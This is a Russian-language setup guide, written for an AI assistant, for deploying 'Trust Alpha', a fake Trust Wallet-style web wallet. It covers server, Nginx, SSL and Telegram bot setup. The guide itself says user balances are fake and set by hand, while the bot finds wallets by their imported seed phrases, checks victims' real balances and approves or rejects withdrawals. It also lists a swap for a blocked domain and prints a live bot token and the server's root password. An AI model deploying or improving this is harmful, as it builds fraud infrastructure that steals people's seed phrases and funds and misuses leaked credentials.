# MASTER SETUP — Полное развёртывание проекта с нуля

> **Для AI-ассистента:** Этот файл содержит всё необходимое для самостоятельного развёртывания проекта на новом сервере с новым доменом. Читай последовательно.

---

## Что за проект

**Trust Alpha** — мультичейн криптовалютный кошелёк (веб-интерфейс в стиле Trust Wallet).

- Пользователи создают/импортируют кошельки через мнемонику
- Видят балансы токенов, могут делать стейкинг, свопы, выводы
- Балансы **ненастоящие** (управляются вручную через Telegram-бот)
- Telegram-бот позволяет устанавливать балансы, APR, разблокировать стейкинг и т.д.
- Есть Admin-панель (HTML-файл с паролем)

**Стек:** Node.js + Express, React + Vite + Tailwind, SQLite (better-sqlite3), Telegraf, PM2, Nginx, Let's Encrypt.

---

## Что в архиве

```
project-archive/
├── server.js                    # Бэкенд (~8500 строк)
├── telegram-bot-telegraf.js     # Telegram бот
├── bot-config.js                # Конфигурация бота (токен, группы)
├── package.json                 # Зависимости Node.js
├── package-lock.json            # Локфайл
├── ecosystem.config.js          # PM2 конфиг
├── admin-panel.html             # Админ-панель
├── admin-panel-auth.html        # Страница входа в админку
├── wallets.db                   # База данных (актуальная)
├── deploy.py                    # Скрипт деплоя (Python, для Windows)
├── frontend/                    # Фронтенд (React + Vite)
│   ├── src/
│   ├── public/
│   ├── package.json
│   └── vite.config.js
└── documentation/               # Вся документация
    ├── MASTER_SETUP.md          # ← этот файл
    ├── README.md
    ├── BACKEND.md
    ├── DATABASE.md
    ├── TELEGRAM_BOT.md
    ├── FRONTEND.md
    ├── TOKENS_AND_STAKING.md
    ├── DEPLOYMENT.md
    ├── SERVER_SETUP.md
    └── ADDING_TOKENS.md
```

---

## Что нужно перед началом

1. **VPS сервер** — Ubuntu 22.04, минимум 2 GB RAM, 20 GB диск
2. **Домен** — любой (Cloudflare не обязателен, работает и без него)
3. **SSH доступ** к серверу (IP, логин `root`, пароль)
4. **Telegram бот** — либо использовать существующий токен, либо создать новый через @BotFather

---

## ШАГ 1: Настройка сервера

Подключиться по SSH и выполнить:

```bash
# Обновление системы
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get upgrade -y -qq

# Build tools (ОБЯЗАТЕЛЬНО — без них better-sqlite3 не скомпилируется!)
apt-get install -y build-essential python3

# Node.js 20
curl -fsSL https://deb.nodesource.com/setup_20.x | bash -
apt-get install -y nodejs

# PM2
npm install -g pm2

# Nginx + SQLite + Certbot
apt-get install -y nginx sqlite3 certbot python3-certbot-nginx

# Firewall
apt-get install -y ufw
ufw allow 22/tcp
ufw allow 80/tcp
ufw allow 443/tcp
ufw allow 8080/tcp
echo 'y' | ufw enable

# Директория проекта
mkdir -p /var/www/wallet-app-tr/dist
mkdir -p /var/www/wallet-app-tr/frontend
```

---

## ШАГ 2: Загрузка файлов на сервер

### Через SCP (PowerShell на Windows):

```powershell
# Заменить <IP> на IP нового сервера
scp server.js root@<IP>:/var/www/wallet-app-tr/
scp telegram-bot-telegraf.js root@<IP>:/var/www/wallet-app-tr/
scp bot-config.js root@<IP>:/var/www/wallet-app-tr/
scp package.json root@<IP>:/var/www/wallet-app-tr/
scp package-lock.json root@<IP>:/var/www/wallet-app-tr/
scp ecosystem.config.js root@<IP>:/var/www/wallet-app-tr/
scp wallets.db root@<IP>:/var/www/wallet-app-tr/
scp admin-panel.html root@<IP>:/var/www/wallet-app-tr/dist/
scp admin-panel-auth.html root@<IP>:/var/www/wallet-app-tr/dist/
scp -r frontend root@<IP>:/var/www/wallet-app-tr/
```

### Через deploy.py (после настройки):

Отредактировать в `deploy.py`:
```python
SERVER_IP = '<НОВЫЙ_IP>'
# В функции connect() — обновить пароль
client.connect(SERVER_IP, username='root', password='<НОВЫЙ_ПАРОЛЬ>', timeout=30)
```

---

## ШАГ 3: Установка зависимостей

На сервере:

```bash
cd /var/www/wallet-app-tr

# Backend зависимости (build-essential уже должен быть установлен!)
npm install

# Frontend зависимости и сборка
cd frontend
npm install
npm run build
cd ..

# Восстановить admin-panel (Vite очищает dist/ при сборке!)
# Если загружали через scp — загрузить снова после build:
# scp admin-panel.html root@<IP>:/var/www/wallet-app-tr/dist/
# scp admin-panel-auth.html root@<IP>:/var/www/wallet-app-tr/dist/
```

---

## ШАГ 4: Настройка бота (bot-config.js)

Отредактировать `bot-config.js` перед загрузкой или прямо на сервере:

```javascript
module.exports = {
  token: 'ТОКЕН_БОТА',          // Токен от @BotFather
  groupId: '-XXXXXXXXXX',       // ID группы для уведомлений о кошельках
  withdrawGroupId: '-XXXXXXXXXX', // ID группы для заявок на вывод
  enabled: true,
  dbPath: './wallets.db'
};
```

**Как получить ID группы:**
1. Добавить бота в группу как администратора
2. Написать любое сообщение в группу
3. Открыть: `https://api.telegram.org/bot<TOKEN>/getUpdates`
4. Найти `"chat":{"id":-XXXXXXXXXX}`

**BACKUP_RECIPIENT_ID** в `telegram-bot-telegraf.js` (строка ~18) — Telegram user ID того, кто получает бэкапы БД каждые 24 часа:
```javascript
const BACKUP_RECIPIENT_ID = 5559464166; // Заменить на свой
```

---

## ШАГ 5: Настройка домена (DNS)

### Вариант A: Без Cloudflare (прямое подключение)

В панели DNS-регистратора создать A-записи:
- `@` (корень) → IP сервера (тип A)
- `www` → IP сервера (тип A)

### Вариант B: Через Cloudflare

1. Добавить домен в Cloudflare
2. Создать две A-записи (как выше)
3. **Временно** установить оба в режим **"DNS only"** (серое облако) — нужно для выпуска SSL
4. После выпуска SSL → вернуть **"Proxied"** (оранжевое облако)
5. В Cloudflare SSL/TLS → выбрать **"Full (strict)"**

> **Примечание:** При использовании Cloudflare в Nginx-конфиге используйте `$http_cf_connecting_ip` вместо `$remote_addr` для получения реального IP клиента.

---

## ШАГ 6: Настройка Nginx

Создать конфиг Nginx. **Начинать нужно с HTTP-only версии** (для выпуска SSL), затем certbot автоматически добавит блок HTTPS.

```bash
DOMAIN="ваш-домен.com"

cat > /etc/nginx/sites-available/$DOMAIN << 'NGINX_EOF'
server {
    listen 80;
    listen [::]:80;
    server_name DOMAIN_PLACEHOLDER www.DOMAIN_PLACEHOLDER;

    root /var/www/wallet-app-tr/dist;
    index index.html;

    gzip on;
    gzip_vary on;
    gzip_min_length 256;
    gzip_proxied any;
    gzip_comp_level 6;
    gzip_types text/plain text/css text/xml text/javascript application/json application/javascript application/xml+rss font/truetype font/opentype application/vnd.ms-fontobject image/svg+xml;

    location /admin {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_cache_bypass $http_upgrade;
        proxy_read_timeout 90s;
        proxy_connect_timeout 90s;
        proxy_send_timeout 90s;
    }

    location /session {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location /sessionwallet {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location /new-account {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location /api {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_cache_bypass $http_upgrade;
        proxy_read_timeout 90s;
        proxy_connect_timeout 90s;
        proxy_send_timeout 90s;
    }

    location /derive-address {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location /socket.io {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    location = /admin-panel.html { try_files $uri =404; }
    location = /admin-panel-auth.html { try_files $uri =404; }

    location /coins/ {
        alias /var/www/wallet-app-tr/dist/coins/;
        access_log off;
        expires 1y;
        add_header Cache-Control "public, immutable";
    }

    location /fonts/ {
        alias /var/www/wallet-app-tr/dist/fonts/;
        access_log off;
        expires 1y;
        add_header Cache-Control "public, immutable";
    }

    location ~* \.(jpg|jpeg|png|gif|ico|css|js|svg|woff|woff2|ttf|eot)$ {
        expires 1y;
        add_header Cache-Control "public, immutable";
    }

    location / {
        try_files $uri $uri/ /index.html;
    }
}
NGINX_EOF

# Подставить реальный домен
sed -i "s/DOMAIN_PLACEHOLDER/$DOMAIN/g" /etc/nginx/sites-available/$DOMAIN

# Активировать
ln -sfn /etc/nginx/sites-available/$DOMAIN /etc/nginx/sites-enabled/$DOMAIN
rm -f /etc/nginx/sites-enabled/default
nginx -t && systemctl reload nginx
```

Для **нескольких доменов** — повторить для каждого (каждый домен = отдельный файл конфига).

---

## ШАГ 7: Выпуск SSL-сертификата

```bash
certbot --nginx -d $DOMAIN -d www.$DOMAIN \
  --non-interactive --agree-tos --email admin@$DOMAIN \
  --no-eff-email --redirect
```

Certbot автоматически:
- Добавит SSL-блок в Nginx-конфиг
- Настроит HTTP→HTTPS редирект
- Включит `certbot.timer` для автопродления

Проверить автопродление:
```bash
systemctl is-active certbot.timer
```

> **Если используется Cloudflare:** DNS записи должны быть в режиме "DNS only" (серое облако) при выпуске сертификата. После выпуска вернуть "Proxied".

---

## ШАГ 8: Запуск приложения

```bash
cd /var/www/wallet-app-tr

# Запуск бэкенда
pm2 start server.js --name wallet-app

# Запуск Telegram бота
pm2 start telegram-bot-telegraf.js --name telegram-bot

# Сохранить и настроить автозапуск при перезагрузке
pm2 save
pm2 startup systemd -u root --hp /root
# Выполнить команду которую выведет pm2 startup
```

---

## ШАГ 9: Проверка

```bash
# Статус PM2
pm2 list

# Backend работает
curl -s -o /dev/null -w '%{http_code}' http://localhost:8080/

# Nginx
curl -s -o /dev/null -w '%{http_code}' http://localhost/

# БД
sqlite3 /var/www/wallet-app-tr/wallets.db 'SELECT count(*) FROM wallets;'

# Логи бэкенда
pm2 logs wallet-app --lines 20 --nostream

# Логи бота
pm2 logs telegram-bot --lines 20 --nostream
```

Сайт должен открываться по `https://<ДОМЕН>`.

---

## ШАГ 10: Доступ к Admin-панели

URL: `https://<ДОМЕН>/admin-panel.html`

**Пароль admin-панели** хранится в `server.js` — найти:
```javascript
const ADMIN_PASSWORD_HASH = '...'
```
Хеш генерируется через `generate-password-hash.py`:
```bash
python generate-password-hash.py
# Введёт пароль и выведет хеш для вставки в server.js
```

---

## Ключевые данные проекта

### Telegram бот (текущий)
| Параметр | Значение |
|----------|----------|
| Токен | `8264624991:AAF-HcPBwAiOB8e2MLBF6p331ydAw29M8xg` |
| Группа (кошельки) | `-4948551116` |
| Группа (выводы) | `-5218619448` |
| Бэкап получатель (user ID) | `5559464166` |

### Сервер (текущий, может измениться)
| Параметр | Значение |
|----------|----------|
| IP | `77.91.97.221` |
| Логин | `root` |
| Пароль | `NQDuz3qX6Yevo` |
| Домены | `trust-alpha.at`, `alphaweb3.at` |
| Рабочая директория | `/var/www/wallet-app-tr` |

---

## Команды бота (полный список)

### Информация
- `/start` — приветствие
- `/help` — справка

### Балансы
- `/balance id128` — все ненулевые балансы кошелька
- `/setbalance id128 SOL 10.5` — установить точный баланс
- `/addbalance id128 SOL 5.25` — прибавить к балансу (можно отрицательное)

### Поиск
- `/findwallet слово1 слово2` — найти кошелёк по мнемонике
- `/checkbalance id128` — реальный баланс USDT/TRX vs баланс на сайте

### Стейкинг
- `/stakinginfo id128` — активные позиции стейкинга
- `/stake id128 BNB 1.5` — разместить в стейкинг
- `/unstake id128 456` — разблокировать позицию (456 — ID позиции)
- `/earlyunlock id128 456` — **досрочная разблокировка** без проверки даты
- `/claimrewards id128 456` — забрать только награды
- `/addreward id128 [дни]` — начислить награды вручную

### APR (доходность стейкинга)
- `/setapr BTC 15.5` — глобальный APR для токена
- `/setwalletapr id128 BTC 15.5` — индивидуальный APR для кошелька
- `/setwalletapr id128 BTC reset` — сбросить индивидуальный APR
- `/walletapr id128` — показать индивидуальные ставки

### Выводы
- `/approve_1` — подтвердить заявку на вывод #1
- `/reject_1` — отклонить заявку на вывод #1

### Служебные
- `/getid` — ID текущего чата
- `/backup` — получить бэкап БД (только BACKUP_RECIPIENT_ID)

---

## Важные особенности

### APR при стейкинге (каскад приоритетов)
1. Индивидуальный APR кошелька (`wallet_staking_rates`) — устанавливается через `/setwalletapr`
2. Глобальный APR (`staking_rates`) — устанавливается через `/setapr`
3. Дефолтный APR из кода (`STAKING_CONFIG`)

Если пользователю установлен индивидуальный APR через `/setwalletapr` — при создании стейкинга будет использован именно он.

### Автоматическое начисление наград
`processStakingRewards()` запускается **каждый час** (и при старте сервера через 5 секунд). Защита от двойного начисления: `daysSinceLastReward >= 1`. Позиции получают награды максимум через ~25 часов.

### Уведомления с retry-логикой
`sendWalletNotification()` делает до **3 попыток** отправки в Telegram с увеличивающейся задержкой (3с, 6с, 9с) при сетевых ошибках (`ETIMEDOUT` и т.п.).

### build-essential обязателен
Пакет `better-sqlite3` содержит нативный C++ код. Без `build-essential` (make, gcc, g++) `npm install` завершится ошибкой `gyp ERR! not found: make`. **Всегда устанавливайте `build-essential` перед `npm install`.**

### Vite очищает dist/
После `npm run build` Vite удаляет все файлы из `dist/`. `admin-panel.html` и `admin-panel-auth.html` нужно заново скопировать в `dist/` после каждой сборки фронтенда. `deploy.py --frontend` делает это автоматически.

### Несколько доменов на одном сервере
Каждый домен — отдельный Nginx-конфиг в `/etc/nginx/sites-available/` со своим SSL-сертификатом. Все указывают на один и тот же `root` и `proxy_pass`. Для добавления нового домена: создать конфиг → symlink в `sites-enabled` → `nginx -t && systemctl reload nginx` → `certbot --nginx -d домен -d www.домен`.

### Cloudflare + Certbot
Certbot не может выпустить сертификат при включённом Cloudflare Proxy (оранжевое облако). Нужно временно переключить на "DNS only", выпустить сертификат, затем вернуть Proxied. **Если домен без Cloudflare — используйте `$remote_addr` в Nginx вместо `$http_cf_connecting_ip`.**

### PowerShell: не использовать &&
В Windows PowerShell для цепочки команд использовать `;` вместо `&&`.

### Мнемоника: только английские строчные буквы
Фронтенд принудительно приводит ввод к lowercase и убирает всё кроме латинских букв и пробелов.

---

## Типичные проблемы и решения

| Проблема | Решение |
|----------|---------|
| `gyp ERR! not found: make` | `apt-get install -y build-essential && cd /var/www/wallet-app-tr && npm rebuild better-sqlite3` |
| `Cannot find module 'express'` | `cd /var/www/wallet-app-tr && npm install && pm2 restart all` |
| `Cannot find module 'telegraf'` | `cd /var/www/wallet-app-tr && npm install telegraf && pm2 restart telegram-bot` |
| Admin-panel 404 после сборки | Скопировать `admin-panel.html` и `admin-panel-auth.html` в `dist/` заново |
| Certbot ошибка `no valid A records` | DNS A-запись для корневого домена (`@`) не настроена или не пропагировалась |
| Certbot ошибка валидации (Cloudflare) | Временно отключить Cloudflare Proxy (серое облако) |
| Сайт открывается, API 502 | `pm2 list` — если `errored`: `pm2 logs wallet-app --lines 50` |
| Стейкинг не работает | Проверить логи: `pm2 logs wallet-app --lines 30 --nostream` |
| Бот молчит | `pm2 logs telegram-bot --lines 20 --nostream` |
| SSL истёк | `certbot renew && systemctl reload nginx` |
| PM2 процессы не стартуют после reboot | `pm2 save && pm2 startup systemd -u root --hp /root` |

---

## Обновление кода (через deploy.py)

```powershell
# Только бэкенд и бот:
python deploy.py --code

# Только фронтенд (пересборка):
python deploy.py --frontend

# Скачать актуальную БД:
python deploy.py --db-pull

# Загрузить БД на сервер:
python deploy.py --db-push

# Статус сервера:
python deploy.py --status
```

---

## Последние изменения (журнал)

| Дата | Изменение |
|------|-----------|
| 29.03.2026 | Миграция на новый сервер (`77.91.97.221`), домены `trust-alpha.at` и `alphaweb3.at` |
| 26.03.2026 | Подключен домен `trust-alpha.at` (замена заблокированного `trust-alpha.org`) |
| 26.03.2026 | Исправлено начисление наград: интервал 24ч → 1ч, позиции получают награды быстрее |
| 26.03.2026 | Добавлена retry-логика (3 попытки) для уведомлений в Telegram |
| 23.03.2026 | Подключен второй домен `alphaweb3.at` |
| 19.03.2026 | Добавлен токен KAG (Kinesis Silver) — ETH сеть, стейкинг 15.3% |
| 18.03.2026 | Исправлен APR при стейкинге: `getStakingConfigForWallet` вместо `getDynamicStakingConfig` |
| 18.03.2026 | Добавлена команда `/earlyunlock` — досрочная разблокировка стейкинга |
| ~15.03.2026 | Закрыт эндпоинт `/api/sessions` (403 Forbidden) |
| ~12.03.2026 | Добавлена зависимость `telegraf` в `package.json` |
| ~11.03.2026 | Мнемоника в input: только английские строчные буквы |
| ~09.03.2026 | Миграция на сервер `45.150.34.18`, домен `trust-alpha.org` |
